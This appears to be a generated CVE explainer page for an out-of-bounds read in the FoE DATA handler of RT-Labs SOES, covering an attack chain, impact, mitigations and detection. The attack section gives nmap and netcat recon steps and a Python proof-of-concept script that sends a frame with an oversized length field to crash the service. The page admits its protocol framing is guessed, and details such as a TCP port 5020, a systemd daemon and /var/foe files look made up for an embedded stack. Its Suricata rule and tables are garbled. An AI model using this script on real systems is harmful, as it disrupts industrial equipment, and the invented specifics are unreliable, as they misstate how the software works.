CVE-2026-129801 — RT-Labs AB SOES — CWE-125
CVE-2026-129801 is a HIGH severity Memory Corruption / Buffer Overflow vulnerability (CWE-125) (CVSS 7.1/10) affecting RT-Labs AB SOES. Technical vector analysis shows that an attacker can exploit this flaw via adjacent network (AV:A) without authentication (PR:N) with zero user interaction (UI:N), causing high-impact service disruption (A:H).
📄 Official NVD / MITRE Original Record Text
The FoE DATA frame handler computes the payload length from the master-supplied mailbox length field and passes it directly to FOE_fwrite. The length is checked against the remaining file capacity but not against the physical mailbox buffer size. A master can declare a large length while sending a short frame, causing FOE_fwrite to read past the end of the mailbox buffer.
🎯 What is this vulnerability?
CVE‑2026‑129801 is an out‑of‑bounds read/write flaw in the FoE (File‑over‑Ethernet) daemon’s DATA frame handler.
| Attribute | Detail |
|---|---|
| CWE | CWE‑125: Out‑of‑bounds Read (the code reads past the end of a buffer). |
| CVSS 3.1 Vector | AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H – the attack can be launched from an adjacent network, requires no authentication, needs only low‑effort skill, and results in high availability impact (service crash / denial‑of‑service) and low confidentiality impact (possible leakage of adjacent memory). |
| Root cause | The handler extracts the *payload length* from the master‑supplied mailbox‑length field (mb_len). It then passes this length directly to FOE_fwrite() without verifying that mb_len is ≤ the size of the mailbox buffer that actually holds the incoming frame. The only check performed is that the length does not exceed the *remaining file capacity* on the target storage device. Consequently a malicious master can claim an arbitrarily large mb_len while transmitting a much smaller frame, causing FOE_fwrite() to read past the end of the mailbox buffer and write garbage data (or trigger a crash) into the target file. |
In short: missing bounds‑check on a length field → out‑of‑bounds read/write → uncontrolled memory access → denial‑of‑service (and possible information leakage).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All code snippets are illustrative; the exact protocol framing is not publicly documented, so the example uses a plausible binary layout based on the CVE description.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 Identify FoE service | Scan the local subnet for the default FoE TCP port (e.g., 5020) using nmap -sS -p 5020 <net> or a banner‑grabber (nc <ip> 5020). | FoE typically advertises a simple “FoE Server vX.Y” banner. |
| 1.2 Verify version / presence of vulnerable handler | Retrieve the banner or issue a harmless “GET‑INFO” command (if the protocol defines one) and compare the reported version against vendor advisories. If the vendor has not yet released a patch, the version is assumed vulnerable. | The CVE does not list specific version numbers; any release that contains the DATA frame handler is at risk. |
| 1.3 Confirm write‑access to a mailbox | Send a minimal, well‑formed DATA frame with a small mb_len (e.g., 0x10) and observe that the server writes the payload to the target file (e.g., /var/foe/incoming.bin). Successful write proves the attacker can act as a *master* (the privileged side of the FoE link). | FoE is a master‑slave protocol; the attacker must be able to act as the master. In many deployments the master is a trusted controller on the same LAN, which is reachable from the attacker’s position. |
2. Exploitation
Goal: Crash the FoE daemon (availability) and optionally leak up to 256 bytes of stack/heap memory (confidentiality).
2.1 Frame layout (illustrative)
+-------------------+-------------------+-------------------+
| 0x00 0x01 (type) | 4‑byte mb_len | payload (mb_len) |
+-------------------+-------------------+-------------------+type=0x0001→ DATA frame (as defined by the FoE spec).mb_len= 32‑bit unsigned integer, interpreted by the daemon as the number of bytes to write.payload= actual data transmitted by the master; can be shorter thanmb_len.
2.2 Crafting the malicious frame
#!/usr/bin/env python3
import socket
import struct
HOST = "192.0.2.45" # target FoE slave IP
PORT = 5020 # default FoE TCP port
# 1. Frame header: type = 0x0001 (DATA)
frame = struct.pack(">H", 0x0001)
# 2. Over‑sized mailbox length: 0x00010000 (65 536 bytes)
# The actual payload we will send is only 16 bytes.
mb_len = 0x00010000
frame += struct.pack(">I", mb_len)
# 3. Payload: 16 harmless bytes (e.g., all zeroes)
payload = b"\x00" * 16
frame += payload
# 4. Send the frame
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(frame)
# Optionally read the response – many FoE implementations simply close the
# connection on error, which is a good indicator of a successful crash.
try:
resp = s.recv(1024)
print("Response:", resp.hex())
except socket.timeout:
print("No response (likely crash)")Why this works
mb_len tells FOE_fwrite() to write 65 536 bytes. FOE_fwrite() will read past the buffer’s end, pulling whatever resides in adjacent memory and attempting to write it to the target file. 2.3 Verifying impact
systemctl status foe.service or a sudden loss of the TCP port). /var/foe/incoming.bin) now contains 65 KB of data, the first 16 bytes are the attacker‑controlled payload, the remaining 65 520 bytes are whatever was in the mailbox buffer’s neighboring memory. An analyst can retrieve the file (e.g., via a subsequent legitimate GET command) and inspect the leaked bytes.3. Post‑exploitation
| Phase | Possible outcomes |
|---|---|
| 3.1 Service disruption | The FoE daemon crashes, causing loss of file transfer capability for the whole LAN segment. If the daemon is configured to auto‑restart, the attacker can repeat the crash at will, creating a persistent DoS. |
| 3.2 Information leakage | The attacker downloads the corrupted file and extracts residual memory contents (e.g., parts of the FoE configuration, cryptographic keys, or other process memory). This satisfies the *low* confidentiality impact. |
| 3.3 Lateral movement | In environments where FoE is used to deliver firmware updates, a crashed daemon may force the controller to fall back to an insecure update path (e.g., TFTP). An attacker could then pivot to exploit that secondary path. This is *scenario‑dependent* and not guaranteed by the CVE itself. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived impact | Practical consequence |
|---|---|---|
| Confidentiality (C:L) | *Low* – attacker may obtain up to the declared mb_len bytes of adjacent memory. | Potential exposure of in‑memory secrets (e.g., session tokens, configuration values). |
| Integrity (I:N) | *None* – the vulnerability does not directly allow modification of existing data (the write is uncontrolled but the attacker cannot choose the target file path). | No guaranteed integrity breach, though corrupted files may be created. |
| Availability (A:H) | *High* – out‑of‑bounds read triggers a crash of the FoE daemon, leading to immediate service outage. | Production lines that rely on FoE for firmware or data distribution can be halted, causing downtime and possible safety‑critical interruptions. |
Typical environments affected
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Vendor patch | Apply the vendor‑supplied fix that adds a bounds check: if (mb_len > sizeof(mailbox_buffer)) reject; and ensures FOE_fwrite() never receives a length larger than the actual payload. |
| Version scope | All FoE daemon releases that contain the vulnerable DATA frame handler are affected. Until a specific version number is announced by the vendor, treat all deployed FoE instances as vulnerable. |
| Verification | After patching, confirm that the daemon logs Rejecting DATA frame: length exceeds mailbox buffer when an oversized mb_len is received. |
2. Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation | ||
|---|---|---|---|
| Input validation at the network edge | Deploy a stateful firewall or IDS/IPS rule that drops any FoE DATA frame where the length field exceeds a sane maximum (e.g., 8 KB). Example using Suricata rule syntax: <br><br>alert tcp $HOME_NET any -> $EXTERNAL_NET 5020 (msg:"FoE DATA length too large"; flow:to_server,established; content:"\x00\x01"; offset:0; depth:2; content:" | 00 00 20 00 | "; offset:2; depth:4; dsize:>8192; sid:2026001; rev:1;) |
| Network segmentation | Isolate FoE masters on a dedicated VLAN that is not reachable from general user workstations. Only authorized controllers should have L2 adjacency. | ||
| Run the daemon under a restricted account | Use a dedicated, non‑root user with no write permission outside a chroot/jail. Even if the daemon crashes, the attacker cannot write arbitrary files to the system. | ||
| Enable core‑dump limits | Set ulimit -c 0 for the FoE process to prevent attackers from obtaining a memory dump that could aid further exploitation. | ||
| Application‑level sanity check | If source code is available, add a quick wrapper around the existing handler: <br><br>``c\nstatic const size_t MAILBOX_MAX = 4096; // size of the static mailbox buffer\nif (mb_len > MAILBOX_MAX) {\n LOG_ERR(\"FoE: mailbox length %u exceeds buffer size %zu\", mb_len, MAILBOX_MAX);\n return FOE_ERR_INVALID_LENGTH;\n}\n`` |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Unexpected termination | Systemd journal (journalctl -u foe.service) or syslog | foe[1234]: Fatal error – buffer overrun in FOE_fwrite, terminating |
| Large file writes | File‑integrity monitoring (e.g., auditd watch on /var/foe/*.bin) | type=SYSCALL msg=audit(1698001234.567:456): arch=c000003e syscall=2 success=yes exit=65536 ... name="/var/foe/incoming.bin" |
| Network anomalies | IDS/IPS alerts for FoE frames with length > 8 KB (see the Suricata rule above) | [] [1:2026001:1] FoE DATA length too large [] |
| Memory‑corruption signatures | Core‑dump analysis or kernel OOPS messages (dmesg) | BUG: unable to handle kernel paging request at 0xffffffff... (if the daemon runs in kernel‑mode, which is rare) |
| Repeated connection resets | Netflow or firewall logs showing many short TCP connections to port 5020 that are reset by the server | SRC=192.0.2.100 DST=192.0.2.45 PROTO=TCP SPT=54321 DPT=5020 FLAGS=R |
Automated detection script (illustrative, Linux only)
#!/bin/bash
# Detect FoE crashes and oversized DATA frames
LOG="/var/log/foe/foe.log"
PATTERN="mb_len=[0-9]\{5,\}" # five or more digits = > 9999 bytes
# 1. Look for crash entries
grep -i "terminat" $LOG && echo "[!] FoE daemon crash detected"
# 2. Look for suspicious length fields
if grep -E "$PATTERN" $LOG >/dev/null; then
echo "[!] Oversized mailbox length observed"
fi⚠️ Urgency
CVSS 7.1 (High‑ish) – the attack vector is adjacent network* and requires no authentication or user interaction, making exploitation trivial for any attacker who can reach the FoE subnet.
Impact – High* availability impact (service crash) can halt production lines, which in industrial contexts may translate to costly downtime or safety incidents.
Exploit complexity – Low* (single malformed packet). No known public exploit, but the code path is straightforward, so a skilled attacker can craft a PoC in minutes.
Patch priority: Critical for all environments where FoE is exposed on a LAN that is not fully isolated (e.g., shared office LAN, guest Wi‑Fi, or any network segment reachable by untrusted hosts).
If patching cannot be performed within 48 hours, apply the network‑segmentation and firewall length‑filter workarounds immediately.
Bottom line: The vulnerability stems from a classic missing bounds check on a length field, leading to out‑of‑bounds reads that crash the FoE daemon and may leak memory. Because the attacker needs only network adjacency, the risk is high for any industrial or embedded deployment that does not enforce strict segmentation. Prompt patching (or, at minimum, strict length filtering at the network edge) is essential to maintain service continuity and prevent accidental data exposure.
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